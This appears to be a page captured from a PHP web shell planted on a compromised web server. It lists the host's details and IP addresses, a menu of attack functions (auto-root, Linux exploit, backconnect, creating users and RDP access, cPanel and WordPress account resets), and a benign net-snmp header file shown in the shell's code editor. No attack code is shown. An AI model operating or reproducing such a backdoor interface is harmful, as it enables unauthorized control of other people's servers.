Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
net-snmp /
agent /
[ HOME SHELL ]
Name
Size
Permission
Action
util_funcs
[ DIR ]
drwxr-xr-x
agent_callbacks.h
801
B
-rw-r--r--
agent_handler.h
11.3
KB
-rw-r--r--
agent_index.h
1.49
KB
-rw-r--r--
agent_module_config.h
1.23
KB
-rw-r--r--
agent_read_config.h
1.19
KB
-rw-r--r--
agent_registry.h
5.86
KB
-rw-r--r--
agent_sysORTable.h
869
B
-rw-r--r--
agent_trap.h
2.37
KB
-rw-r--r--
all_helpers.h
1.19
KB
-rw-r--r--
auto_nlist.h
605
B
-rw-r--r--
baby_steps.h
3.4
KB
-rw-r--r--
bulk_to_next.h
563
B
-rw-r--r--
cache_handler.h
4.62
KB
-rw-r--r--
debug_handler.h
328
B
-rw-r--r--
ds_agent.h
3.77
KB
-rw-r--r--
instance.h
6.12
KB
-rw-r--r--
mfd.h
2.62
KB
-rw-r--r--
mib_module_config.h
34.89
KB
-rw-r--r--
mib_module_includes.h
14.06
KB
-rw-r--r--
mib_modules.h
428
B
-rw-r--r--
mode_end_call.h
871
B
-rw-r--r--
multiplexer.h
975
B
-rw-r--r--
net-snmp-agent-includes.h
756
B
-rw-r--r--
null.h
464
B
-rw-r--r--
old_api.h
1.39
KB
-rw-r--r--
read_only.h
540
B
-rw-r--r--
row_merge.h
1.32
KB
-rw-r--r--
scalar.h
783
B
-rw-r--r--
scalar_group.h
983
B
-rw-r--r--
serialize.h
600
B
-rw-r--r--
set_helper.h
542
B
-rw-r--r--
snmp_agent.h
11.89
KB
-rw-r--r--
snmp_get_statistic.h
836
B
-rw-r--r--
snmp_vars.h
4.58
KB
-rw-r--r--
stash_cache.h
1.4
KB
-rw-r--r--
stash_to_next.h
377
B
-rw-r--r--
struct.h
917
B
-rw-r--r--
sysORTable.h
2.4
KB
-rw-r--r--
table.h
7.34
KB
-rw-r--r--
table_array.h
5.33
KB
-rw-r--r--
table_container.h
3.96
KB
-rw-r--r--
table_data.h
5.47
KB
-rw-r--r--
table_dataset.h
7.73
KB
-rw-r--r--
table_iterator.h
6.76
KB
-rw-r--r--
table_tdata.h
6.54
KB
-rw-r--r--
util_funcs.h
3.24
KB
-rw-r--r--
var_struct.h
4.91
KB
-rw-r--r--
watcher.h
5.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : table_tdata.h
/* * table_tdata.h */ #ifndef _TABLE_TDATA_HANDLER_H_ #define _TABLE_TDATA_HANDLER_H_ #ifdef __cplusplus extern "C" { #endif /* * This helper is designed to completely automate the task of storing * tables of data within the agent that are not tied to external data * sources (like the kernel, hardware, or other processes, etc). IE, * all rows within a table are expected to be added manually using * functions found below. */ #define TABLE_TDATA_NAME "table_tdata" #define TABLE_TDATA_ROW "table_tdata" #define TABLE_TDATA_TABLE "table_tdata_table" #define TDATA_FLAG_NO_STORE_INDEXES 0x01 #define TDATA_FLAG_NO_CONTAINER 0x02 /* user will provide container */ /* * The (table-independent) per-row data structure * This is a wrapper round the table-specific per-row data * structure, which is referred to as a "table entry" * * It should be regarded as an opaque, private data structure, * and shouldn't be accessed directly. */ typedef struct netsnmp_tdata_row_s { netsnmp_index oid_index; /* table_container index format */ netsnmp_variable_list *indexes; /* stored permanently if store_indexes = 1 */ void *data; /* the data to store */ } netsnmp_tdata_row; /* * The data structure to hold a complete table. * * This should be regarded as an opaque, private data structure, * and shouldn't be accessed directly. */ typedef struct netsnmp_tdata_s { netsnmp_variable_list *indexes_template; /* containing only types */ char *name; /* if !NULL, it's registered globally */ int flags; /* This field may legitimately be accessed by external code */ netsnmp_container *container; } netsnmp_tdata; /* Backwards compatability with the previous (poorly named) data structures */ typedef struct netsnmp_tdata_row_s netsnmp_table_data2row; typedef struct netsnmp_tdata_s netsnmp_table_data2; /* ============================ * TData API: Table maintenance * ============================ */ netsnmp_tdata *netsnmp_tdata_create_table(const char *name, long flags); void netsnmp_tdata_delete_table(netsnmp_tdata *table); netsnmp_tdata_row *netsnmp_tdata_create_row(void); netsnmp_tdata_row *netsnmp_tdata_clone_row( netsnmp_tdata_row *row); int netsnmp_tdata_copy_row( netsnmp_tdata_row *dst_row, netsnmp_tdata_row *src_row); void *netsnmp_tdata_delete_row( netsnmp_tdata_row *row); int netsnmp_tdata_add_row( netsnmp_tdata *table, netsnmp_tdata_row *row); void netsnmp_tdata_replace_row( netsnmp_tdata *table, netsnmp_tdata_row *origrow, netsnmp_tdata_row *newrow); netsnmp_tdata_row *netsnmp_tdata_remove_row(netsnmp_tdata *table, netsnmp_tdata_row *row); void *netsnmp_tdata_remove_and_delete_row(netsnmp_tdata *table, netsnmp_tdata_row *row); /* ============================ * TData API: MIB maintenance * ============================ */ netsnmp_mib_handler *netsnmp_get_tdata_handler(netsnmp_tdata *table); int netsnmp_tdata_register( netsnmp_handler_registration *reginfo, netsnmp_tdata *table, netsnmp_table_registration_info *table_info); int netsnmp_tdata_unregister(netsnmp_handler_registration *reginfo); netsnmp_tdata *netsnmp_tdata_extract_table( netsnmp_request_info *); netsnmp_container *netsnmp_tdata_extract_container(netsnmp_request_info *); netsnmp_tdata_row *netsnmp_tdata_extract_row( netsnmp_request_info *); void *netsnmp_tdata_extract_entry( netsnmp_request_info *); void netsnmp_insert_tdata_row(netsnmp_request_info *, netsnmp_tdata_row *); void netsnmp_remove_tdata_row(netsnmp_request_info *, netsnmp_tdata_row *); /* ============================ * TData API: Row operations * ============================ */ void * netsnmp_tdata_row_entry( netsnmp_tdata_row *row ); netsnmp_tdata_row *netsnmp_tdata_row_first(netsnmp_tdata *table); netsnmp_tdata_row *netsnmp_tdata_row_get( netsnmp_tdata *table, netsnmp_tdata_row *row); netsnmp_tdata_row *netsnmp_tdata_row_next( netsnmp_tdata *table, netsnmp_tdata_row *row); netsnmp_tdata_row *netsnmp_tdata_row_get_byidx(netsnmp_tdata *table, netsnmp_variable_list *indexes); netsnmp_tdata_row *netsnmp_tdata_row_get_byoid(netsnmp_tdata *table, oid *searchfor, size_t searchfor_len); netsnmp_tdata_row *netsnmp_tdata_row_next_byidx(netsnmp_tdata *table, netsnmp_variable_list *indexes); netsnmp_tdata_row *netsnmp_tdata_row_next_byoid(netsnmp_tdata *table, oid *searchfor, size_t searchfor_len); int netsnmp_tdata_row_count(netsnmp_tdata *table); /* ============================ * TData API: Index operations * ============================ */ #define netsnmp_tdata_add_index(thetable, type) snmp_varlist_add_variable(&thetable->indexes_template, NULL, 0, type, NULL, 0) #define netsnmp_tdata_row_add_index(row, type, value, value_len) snmp_varlist_add_variable(&row->indexes, NULL, 0, type, (const u_char *) value, value_len) int netsnmp_tdata_compare_idx( netsnmp_tdata_row *row, netsnmp_variable_list *indexes); int netsnmp_tdata_compare_oid( netsnmp_tdata_row *row, oid *compareto, size_t compareto_len); int netsnmp_tdata_compare_subtree_idx(netsnmp_tdata_row *row, netsnmp_variable_list *indexes); int netsnmp_tdata_compare_subtree_oid(netsnmp_tdata_row *row, oid *compareto, size_t compareto_len); #ifdef __cplusplus } #endif #endif /* _TABLE_TDATA_HANDLER_H_ */
Close